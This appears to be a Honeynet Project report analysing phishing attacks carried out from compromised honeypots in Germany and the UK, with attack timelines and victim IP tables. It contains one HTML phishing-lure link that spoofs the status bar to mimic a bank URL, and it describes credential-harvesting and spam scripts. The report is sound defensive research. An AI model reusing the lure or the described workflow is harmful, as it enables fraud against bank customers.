For data control, all network traffic from the Internet was routed through a transparent bridging honeynet gateway running the FreeBSD release 4.10 operating system that limited outgoing network connections from the honeypot. Outgoing connections were identified by SYN packets, differentiated and logged by TCP connection types (such as IRC-connections), and the number of connections limited to 15 IRC-connections and 10 other TCP-connections with a 24 hour period. Connection limiting is designed to allow attackers to successfully compromise the honeypot and download a limited amount of rootkits or other malware from external servers, but to then limit their potential to attack further hosts from the compromised honeypot. It also helps to hide the presence of the honeynet gateway by not totally blocking all outbound traffic, along with preventing denial of service attacks.
For data analysis, all network traffic to or from the honeypot was mirrored to a snort IDS for pattern matching against the current signature rulebase. Manual and automated analysis of logged data was performed regularly, along with real time monitoring and alerting.
The honeynet gateway was connected to a central network switch which was used to separate network traffic from the honeypot system network and the administrative network using VLANs, a common method to logically segmented network on the same physical hardware. The honeypot itself was a standard installation of RedHat Linux version 7.1 on Intel hardware running the latest version 2.4.20 kernel with several network services such as FTP (wu-2.6.1-16), HTTP (Apache 1.3.19, OpenSSL/0.9.6) and a database (MySQL 3.23.36) server enabled. All services were left in their default configuration, except for the MySQL database which had a random secure password set for the root user. To make the system more realistic and more closely simulate a production system, a mocked up web site for an imaginary sales company was installed and reverse DNS added for the web server.
The following table depicts the timeline of the incident:
|Date / Time||Event|
|12/11/04||First data from honeypot|
|Honeypot WU-FTPd compromised by autorooter|
|Attacker manually installs rootkit, IRC bot and Ebay phishing attack content|
|Attacker returns to install and run mass scanning tool|
|Attacker returns to install proxy server|
|Attacker returns to install additional rootkit|
|Attacker returns to set up phishing web sites and sends out spam mails (blocked by Honeywall)|
|Honeypot disconnected for forensic analysis|
A more detailed incident timeline, including an analysis of the tools and techniques the attackers used, is available here.
The honeynet deployed and analysed by the UK Honeynet Project in the second phishing incident was a high interaction research honeynet deployed in a UK ISP data centre during August 2004.
The UK Honeynet deployment was similar in broad outline to the German honeynet configuration detailed above, being composed of a number of physical honeypots running default installations of common UNIX operating systems on Intel and Sparc hardware. The Honeynet Projects Honeywall bootable CDROM was used for data control, providing a transparent bridging iptables firewall and using network connection rate limiting plus the snort-inline IPS to restrict outbound attack traffic. Another snort IDS provided data capture in binary pcap format, along with snort and snort-inline alerting and automated daily script based data analysis.
Individual honeypots were hosted behind the Honeywall gateway, connected to an Ethernet hub, and the Honeynet project's Sebek loadable kernel module was covertly installed and enabled on each honeypot to allow full keystroke logging. All network traffic to and from the honeypots was logged in pcap format, as were any keystrokes recorded using Sebek. Any compromised hosts were eventually taken off line and imaged for later forensic examination.
The RedHat Linux 7.3 server on Intel hardware honeypot that was compromised and used to host a phishing attack was a default CDROM based installation with a number of common network services such as Apache and samba enabled and left un-patched.
Again, a timeline of the incident is given:
|Date / Time||Event|
|17/08/04||First data from honeypot|
|Honeypot samba server compromised. Various IRC tools, backdoors and mass scanners installed by multiple groups|
|19/08/04||Attackers check result of network scans|
|20/08/04||New attackers compromise honeypot|
|22/08/04||More scanning activity|
|Phishers arrive through back door set up by initial attackers and set up phishing website|
|First web traffic arrives at web server for phishing site|
|Honeypot disconnected for forensic analysis|
On November 12, 2004, the Honeynet was connected to the Internet. During the time between the start up and November 22, nothing special happened. We just observed an enormous number of
packets with destination port 445 which is not critical for the installed Honeypot.
At 1:16 am the Honeypot got compromised by exploiting the WU-FTP daemon. There was no port scan or FTP connection before, the first connect was used to hack the computer which is an indication of an autorooter-tool. Such tools are used to scan whole network ranges for vulnerable machines and attack everything they come across. They just deliver their "evil" payload to every system in the given address range. In our case, it was probably a tool called
superwu since later on, the attacker used this tool to attack further targets from the Honeypot.
Until 8:21 am there was no activity from the attacker. Probably he started the tool the night before and checked in the morning for successful gained access. As a first step he downloaded a rootkit and installed it on the Honeypot. This script-based rootkit replaces some system binaries with trojaned files:
In addition, it install an SSH-daemon on port 255 which was used by the attacker to log on the Honeypot in the following. The rootkit uses source code to compile new versions of binary files. These trojaned executables are adjusted to the size of the original files of the target system to "hide" the presence. The rootkit also installs a sniffer to collect login information to other systems. Furthermore, it modifies the init-scripts to ensure that the installed services will start on next reboot and then sends out an information mail about the system status to the attacker. After finishing the installation, the attacker reentered the Honeypot via the additionally installed SSH service using the tool "putty", an SSH-Client for Windows-systems. Afterwards the attacker downloaded a file called spam.tgz. This archive contains some PHP and HTML files. Further examination showed that these files contain web-pages to update the billing profile update for seller accounts of a large Internet auctions website. The attacker copied this files into the document root of the webserver. The "index.html" start page is a forwarding page to the auctions website. The reason for that is that these PHP pages were incomplete. The attacker edited them, but never finished his work on this files. By tracing the IP of the attacker, the source could be located in Romania. A scan of this computer showed no open ports, so this could be the computer of the cracker.
At8:49 am the attacker downloaded another file: psybnc.tgz. After extracting the archive, he installed the included IRC-Bouncer and started an IRC-Session to an "undernet.org" server. The channel he entered was probably used to control hacked systems. A scan of all 8 connected clients showed the same untypical open port 255 with a listening SSH-daemon like the Honeypot had. The attacker also entered another channel and received Operator-rights there. The topic on this channel was a pointer to his personal homepage and the language used in that channel was Romanian.
At6:25 pm the attacker came back and downloaded the file windmilk.tgz. This archive contains the "superwu" autorooter. After extracting the executable binary file, he started the exploiter in a screen-session with a target network as parameter. Then the attacker detached the session and logged off. Later when he came back, he attached the session again to see the results. Since the Honeywall blocked all attacks, no systems could be compromised. The attacker did not realize the intervention, downloaded and installed at 10:40 pm a "socksify" proxy which was configured without any restrictions. With this service anybody could use the Honeypot as a proxy for spreading spam or anonymous connections to any other systems. During the honeynet's online time, it was never used.
On November 23, 2004, the attacker came back at 2:25 pm. He added the user "ro" and installed another rootkit. In a side note we present the recording of this session captured by the snort binary logging.
At 4:40 pm, the attacker downloaded the archive willson.tgz. This file includes already finished webpages similar to the spam.tgz archive. The attacker installed them in the document root directory of the webserver. Now this Honeypot could be used for phishing attacks. By calling the startup page, you get a login page that looks like the original login page. While unrelated to the incident we report, a recent example illustrating the similarity of a phishing data entry form to compare to the acutal site can be found here.
The input of this form will be rudimentary checked with the help of a small PHP-script
/tmp/User.docand the next page will be shown. On this page, the victim is tricked into entering personal information. All input will be checked and if one is not according to the condition, an error page will be shown. This error page does not attempt to mimic the real error page and most victims would likely become suspicious of the fake web site at this point.
With the help of the following validation script, the data entered into the form is checked. The resulting page of the validation process is not interpreted by the webserver because Apache does not accept
.dll files as PHP files by default. The attacker forgot to set the "AddType" variable of the Apache server to interpret
.dll files with the PHP-engine. The next activity of the attacker was downloading an archive called banksend.tgz. This file includes a PHP script for sending mails:
Please follow the link below and renew your account information. <br><br> <a href="http://XXX.XXX.XXX.XXX/Checking/login.php" onClick="popup('http://www.totalmates.com/php/click.cgi?id=xakir')" onMouseOver="window.status='https://internetbanking.bank.com';return true;" onMouseOut="window.status=' ';return true;">https://internetbanking.bank.com</a> <br> <br>
At this point of time we decided to block outgoing TCP ports 25 and 443 so that no victim would suffer from the phishing attacks. The attacker probably noticed that we blocked outgoing connections and concluded that something weird was happening. He never came back and on Decembers 8, 2004, the honeynet went offline for further analysis.
What else did we find?
This side note shows the commands issued by the phisher from the perspective of the attacker. Their actions were reconstructed with the help of the log files generated by Snort and other logged data. The first part of this side note shows a screenshot of the installation process of the rootkit, with a very "user-friendly" interface allowing easy setup. The second part shows the commands issued by the attacker once the rookit was installed, which were again reconstructed with the help of Snort log-files.
Screenshot of the rootkit installation:
Commands issued by the attacker:
In this side note we analyse an example script that used to validate the information entered by users into a HTML form on a phishing web site. Initially the input data is checked to ensure that the submitted strings are valid. For example, the PIN should be four characters long and the username should not contain certain words. If the entered data passes this check, the script constructs an e-mail message containing the user's information and sends it to an address at a free e-mail provider. Finally, the location bar of the browser is updated to point to the file
xxxxISAPI.dll (the file name has been obfuscated). This page will display a confirmation for the victim. In addition, a script was also included that could be used to transfer the phished information to an FTP server.
cc-ftp.php (commented out in the data processing script above) will transfer the input to an FTP server:
In this side note we provide an overview of the source IP addresses of potential victims in the redirection phishing attack described in phishing technique two. The data below was collected with the help of the compromised German honeypot and modified redir software. Over a period of about 36 hours we observed 721 redirections of inbound HTTP requests to the honeypot, presumably recipients of a spam phishing email who were tricked into accessing the redirected content by clicking on the link provided. All are potential victims of the phishing attack, but as no personal data was captured we we cannot make an educated guess how many people actually entered sensitive information into the HTML form on the Chinese phishing web site.
|Count||Source IP address range|
Details about the UK compromise
This honeynet was a high interaction research honeynet deployed by the UK Honeynet Project in a UK ISP data centre. After a few hours of general background network activity, the Redhat Linux 7.3 honeypot was scanned, compromised and an IRC server installed. A number of further compromises occurred, as multiple attackers located the vulnerable system and exploited it for their own purposes, before the honeypot server was used to host a phishing attack targeting a well known US bank. For brevity, this detailed analysis of the uploaded content only covers the activity relevant to the phishing attack.
The first zip file downloaded was bank.zip, via wget from the Romanian FTP server host2.go.ro.
The file was a valid zip archive, and contained the following data:
This was a pre-prepared web site that mimics the official login page for a major US bank. It included a server side PHP script called check.php, intended to harvest any credentials entered by an unsuspecting end user and email them to the phisher. The presence of a Thumbs.db file suggests that the contents was prepared on a MS Windows system. Scrisoare is the Romanian word for letter, suggesting an email or message or Romanian origin.
Analysis of the check.php script (shown below) reveals that this script is a more advanced version of the script used the German phishing incident. Basic checks on the card number received have been added, along with a refinement that uses the credit card number to classify cards into different types and insert the type into the subject line of the email. This suggests basic scripting abilities and not just a simple script kiddie.
The check.php script:
A hard coded IP address of 66.XXX.XXX.XXX was included in the original script, suggesting that the script had already been used on an alternate server (either another compromised host or a test machine local to the attacker). This IP address appears to be a home DSL IP block belonging to a US carrier and no web site is hosted there now. This script also links directly to the real target bank web site, presumably for added realism and to attempt to confuse recipients.
The second file downloaded using FTP was bank1.tgz:
The file was a valid tgz archive, and contained the following data:
The attacker moved the new files into location in the web root and used the pico editor to change popup.html to point to a test server (http://69.24.XX.XX/testing.php). Again, this was possibly a previously compromised host or a system local to the attacker.
Interestingly, because this FTP session was plain text and the attacker helpfully used the directory listing command, we can observe the attacker�s activities and also see what other tools they have stored in their FTP area. Directory listings are often very useful in providing further background detail during incident analysis:
The contents of this FTP server home directory suggests that the phisher is heavily involved in spam and phishing activities, with pre-built content and message delivery tools targeting many well known online brands stored on this server. Based on this captured session, this phishing activity is not likely to be an isolated incident.
The third file downloaded was sendbankNEW.tgz from the Romain FTP server host2.go.ro.
The file was a valid archive and contained the following files:
The purpose of each file is listed in the table below:
|File||Contents and purpose|
|ini.inc||Spam sending configuration|
|list.txt||This file contained a list of 5 email addresses to send spam email to. Because of the limited size and Romanian email addresses linked to the attacker, this was presumably the email addresses of fellow gang members and not a real phishing attack|
|bank.php||A simple PHP script to read the contents of a text file (bla.txt) and email it to each recipient in an input file (list.txt)|
The email lure blah.txt was notable for having good grammar and spelling, legalise at the bottom about "Equal Opportunity Lending" and heavy use of files linked directly from the official web site of the targeted bank, all of which help it to appear more realistic. One ironic point to note is that the email even included an exhortation to not provide passwords to fraudulent web sites, or to ever email your password to a third party!
The bank.php mass emailing script to send spam advertising this particular phishing scam is shown below:
Although simple, it is functional and could easily have been used to send many more messages than the 5 test messages sent from the honeynet. The honeynet architecture would have restricted outbound emails, but the honeypot was taken offline for forensic analysis before any bulk spam email could be sent by the attacker.
This honeynet was a high interaction research honeynet deployed by the UK Honeynet Project in a UK ISP data centre. After a few hours of general background network activity, the Redhat Linux 7.3 honeypot was scanned, compromised and an IRC server installed. A number of further compromises occurred, as multiple attackers located the vulnerable system and exploited it for their own purposes, before the honeypot server was used to host a phishing attack targeting a well known US bank. For brevity, this detailed timeline only covers the activity relevant to the phishing attack.
18/07/04 - 12:30. First the attacker exploits a buffer overflow in the samba server on the Redhat Linux 7.3 honeypot, as can be seen from the snort alerts shown below:
18/07/04 - 12:30. After a few retries with different offsets, the samba exploit (CAN-2003-0201) succeeds and returns a root prompt to the attacker, as show by the snort alert below:
18/07/04 - 12:30. After gaining root access, the attacker check who they are and who else is logged into the system before attempting to hide their activities by turning off shell history logging. The Sebek keystrokes for this session are shown below:
18/07/04 - 12:31. The attacker then proceeds to downloading what appears to be an image file from a remote web server using the wget command line HTTP client:
18/07/04 - 12:32. The attacker unpacks the image file, which is actually a gziped tar archive, before extracting and running a setup program:
From the SHV4 root kit source code, we can determine what the setup command does:
The attacker has installed and configured an encrypted backdoor on the honeypot, bound to TCP port 2277. A large amount of other activity occurs on the system over the next few 12-72 hours, including installation of PsyBNC IRC servers by a Romanian group, installation and usage of the mole and mazz mass scanners (probably the autorooter used to compromise this honeypot), installation and re-installation of other rootkits, password sniffing and various other activities not relevant to the main phishing attack.
23/07/04 - 21:11. The attacker returns from 192.226.XXX.XXX (a Windows 2000 or Windows XP PC in Ontario) via the SSH backdoor listening on TCP port 2277 and checks if the server is still active and who is logged in:
23/07/04 - 21:13. The attacker reconnects, prepares a directory in the Apache web server's document root and then downloads some pre-built web content from a Romanian web server using, again using wget, before checking the honeypot's IP address and PHP configuration:
23/07/04 - 21:15. The attacker attempts to extract the contents of the zip file but finds it is corrupt and deletes it.
23/07/04 - 21:16. The attacker changes tools and gets another file using FTP, again from the same web server in Romania, which does extract successfully this time:
23/07/04 - 21:17. The attacker edits the extracted web content and updates the HTML to point to a testing PHP script on a remote web server:
23/07/04 - 21:22. The attacker checks the network configuration of the honeypot and version of PHP installed:
25/07/04 - 21:42. The attacker opens a second session, checks again if PHP is configured correctly on the honeypot and downloads a tool for sending spam email from the same Romanian web server:
25/07/04 - 22:08. The attacker checks an input list email addresses and runs a PHP script to send spam email:
25/07/04 - 22:10. The attacker edits the content of the spam message, points it a co-located Linux web server running an American student web site, and runs the PHP script to send spam email again:
The attackers initial test at 22:08:52 works as planned, with 5 test messages being successfully sent (although due to the outbound traffic restrictions on the Honeywall, further mass mailing attempts would fail). However, after 10 minutes wait the attacker cleans up and leaves without sending any further messages from this honeypot.
In this side note we provide an overview of the source IP addresses of potential victims in the UK phishing attack against a major US bank described in phishing technique one. The data below was collected with the help of the compromised UK honeypot and network packet captures. Over a period of about 4 days we observed 265 inbound HTTP requests to the honeypot, presumably recipients of a spam phishing email who were tricked into accessing the redirected content by clicking on the link provided. All were potential victims of the phishing attack, but none actually submitted personal data and therefore the phishing attack was unsucessful.
|4.138.NNN.NNN||Level 3||US||Windows XP, 2000 SP2+ (NAT!)|
|4.224.NNN.NNN||Level 3||US||Windows 98|
|4.235.NNN.NNN||Level 3||US||Windows XP, 2000 SP2+ (NAT!)|
|4.239.NNN.NNN||Level 3||US||Windows XP, 2000 SP2+|
|12.217.NNN.NNN||AT&T;||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.16.NNN.NNN||Comcast Cable||US||Windows XP Pro SP1, 2000 SP3|
|24.58.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|24.59.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.62.NNN.NNN||Comcast Cable||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.90.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.93.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|24.107.NNN.NNN||Charter Comms||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.129.NNN.NNN||Comcast Cable||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|24.140.NNN.NNN||Massillon Cable||US||Windows XP, 2000 SP2+|
|24.154.NNN.NNN||Armstrong Cable||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.161.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.162.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.163.NNN.NNN||Road Runner||US||Windows 2000 SP4, XP SP1|
|24.165.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|24.166.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.208.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|24.209.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3 (firewall!)|
|24.231.NNN.NNN||Charter Comms||US||Windows XP SP1, 2000 SP3|
|24.239.NNN.NNN||Armstrong Cable||US||Windows XP/2000|
|24.243.NNN.NNN||Service Co LLC||US||Windows XP Pro SP1, 2000 SP3|
|63.165.NNN.NNN||DIGITEL||Prob US||OpenBSD 3.0|
|63.192.NNN.NNN||Pacific Bell||US||Windows 2000 SP4, XP SP1|
|64.12.NNN.NNN||AOL||US||Linux 2.4 w/o timestamps|
|64.33.NNN.NNN||West Winconsin Telecomn||US||Windows XP, 2000 SP2+|
|64.58.NNN.NNN||Marlowe & Associates||US||Windows 98 (2) (NAT!)|
|64.136.NNN.NNN||Juno Online||US||OpenBSD 3.0|
|64.136.NNN.NNN||Juno Online||US||OpenBSD 3.0|
|64.136.NNN.NNN||Juno Online||US||OpenBSD 3.0|
|64.161.NNN.NNN||Pacific Bell Internet||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|64.216.NNN.NNN||SBC Internet||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|64.222.NNN.NNN||Verizon Internet||US||Windows 2000 SP4, XP SP 1|
|65.78.NNN.NNN||RCN Corporation||US||FreeBSD 4.7|
|65.204.NNN.NNN||Eagle Mountain Telecom||US||FreeBSD 4.8|
|65.221.NNN.NNN||Buckeye Cablevision||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|66.38.NNN.NNN||Brandenburg Telephone Company||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|66.41.NNN.NNN||Comcast Cable||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|66.45.NNN.NNN||WholeSecurity, Inc||US||Windows 2000 SP4, XP SP1|
|66.61.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|66.67.NNN.NNN||Road Runnner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|66.68.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|66.82.NNN.NNN||Hughes Network Systems||US||UNKNOWN|
|66.170.NNN.NNN||T-NET, Inc||US||Windows XP, 2000 SP2+|
|66.188.NNN.NNN||Charter Comms||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) (firewall!)|
|67.5.NNN.NNN||Qwest||US||Windows XP, 2000 SP2+|
|67.23.NNN.NNN||Adelphia Cable Comms||US||Windows XP Pro SP1, 2000 SP3|
|67.38.NNN.NNN||Ameritech Electronic Commerce||US||Windows XP, 2000 SP2+|
|67.66.NNN.NNN||SBC Internet Services||US||Windows XP SP1, 2000 SP3|
|67.122.NNN.NNN||Pac Bell Internet||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|67.160.NNN.NNN||Comcast Cable||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|67.164.NNN.NNN||Comcast Cable||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|68.10.NNN.NNN||Cox Communications Inc||US||Windows XP Pro SP1, 2000 SP3|
|68.14.NNN.NNN||Cox Communications Inc||US||FreeBSD 4.7|
|68.32.NNN.NNN||Comcast Cable||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|68.53.NNN.NNN||Comcast Cable||US||Windows XP Pro SP1, 2000 SP3|
|68.88.NNN.NNN||SBC Internet Services||US||Windows 2000 SP4, XP SP 1|
|68.89.NNN.NNN||SBC Internet Services||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|68.94.NNN.NNN||SBC Internet Services||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|68.103.NNN.NNN||Cox Communications Inc||US||Windows XP Pro SP1, 2000 SP3|
|68.109.NNN.NNN||Cox Communications Inc||US||Windows 2000 SP4, XP SP1|
|68.254.NNN.NNN||SBC Internet Services||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|69.23.NNN.NNN||-||-||Windows XP Pro SP1, 2000 SP3|
|69.48.NNN.NNN||Choice One Comms||US||Windows XP, 2000 SP2+|
|69.59.NNN.NNN||Peak Inc||US||Windows XP/2000 via Cisco|
|69.132.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|69.133.NNN.NNN||Road Runner||US||Windows XP Pro SP1, 2000 SP3|
|69.135.NNN.NNN||Road Runner||US||Windows 2000 SP4, XP SP1|
|69.135.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|69.151.NNN.NNN||SBC Internet Services||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|69.162.NNN.NNN||Adelphia Cable Comms||US||FreeBSD 4.7|
|137.229.NNN.NNN||University of Alaska||US||Windows XP Pro SP1, 2000 SP3|
|141.154.NNN.NNN||Verizon Internet||US||Windows XP SP1, 2000 SP3|
|148.78.NNN.NNN||Starband Comms||US||CacheFlow CacheOS 4.1 (up|
|149.174.NNN.NNN||CompuServe||US||Linux 2.4 w/o timestamps|
|152.163.NNN.NNN||AOL||US||Linux 2.4 w/o timestamps|
|156.36.NNN.NNN||US Bancorp||US||OpenBSD 3.0|
|162.83.NNN.NNN||Verizon Internet||US||Windows 2000 SP4, XP SP1|
|166.102.NNN.NNN||WRK Internet||-||Windows XP, 2000 SP2+|
|166.102.NNN.NNN||WRK Internet||-||Windows XP, 2000 SP2+|
|169.207.NNN.NNN||Executive PC, Inc||US||Windows 98|
|170.94.NNN.NNN||State of Arkansas||US||Windows 2000 SP4, XP SP1|
|172.131.NNN.NNN||AOL||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|172.131.NNN.NNN||AOL||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|204.95.NNN.NNN||Sprint||US||Windows XP, 2000 SP2+|
|204.210.NNN.NNN||Road Runner||US||Windows 2000 SP4, XP SP1|
|204.210.NNN.NNN||Road Runner||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|205.162.NNN.NNN||Buckeye Cablevision||US||Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)|
|206.148.NNN.NNN||AGIS||US||Windows XP, 2000 SP2+|
|206.196.NNN.NNN||US West Internet Services||US||Windows XP Pro SP1, 2000 SP3|
|207.89.NNN.NNN||NetLink Systems LLC||US||Windows XP, 2000 SP2+|
|207.89.NNN.NNN||NetLink Systems LLC||US||Linux 2.4/2.6 (up|
|207.231.NNN.NNN||Surewest Internet||US||BSD/OS 3.1|
|208.60.NNN.NNN||Local Link||US||Windows XP, 2000 SP2+|
|208.187.NNN.NNN||Lanset Comms||US||Windows XP, 2000 SP2+|
|208.191.NNN.NNN||SBC Internet||US||Windows XP Pro SP1, 2000 SP3 (NAT!)|
|209.43.NNN.NNN||IQuest Internet||US||Windows XP, 2000 SP2+|
|209.131.NNN.NNN||CenturyTel Internet Holdings Inc||US||Windows 98|
|209.206.NNN.NNN||IQuest Internet||US||Windows XP, 2000 SP2+|
|209.247.NNN.NNN||Bend Cable||US||Linux 2.4/2.6 (up|
|216.93.NNN.NNN||Voyager Information Networks||US||Windows XP, 2000 SP2+|
|216.228.NNN.NNN||Bend Cable||US||Cisco Content Engine|
In this side note will will review the source code of some bots captured during our research and show several examples of how bots are being used to send out spam and phishing emails.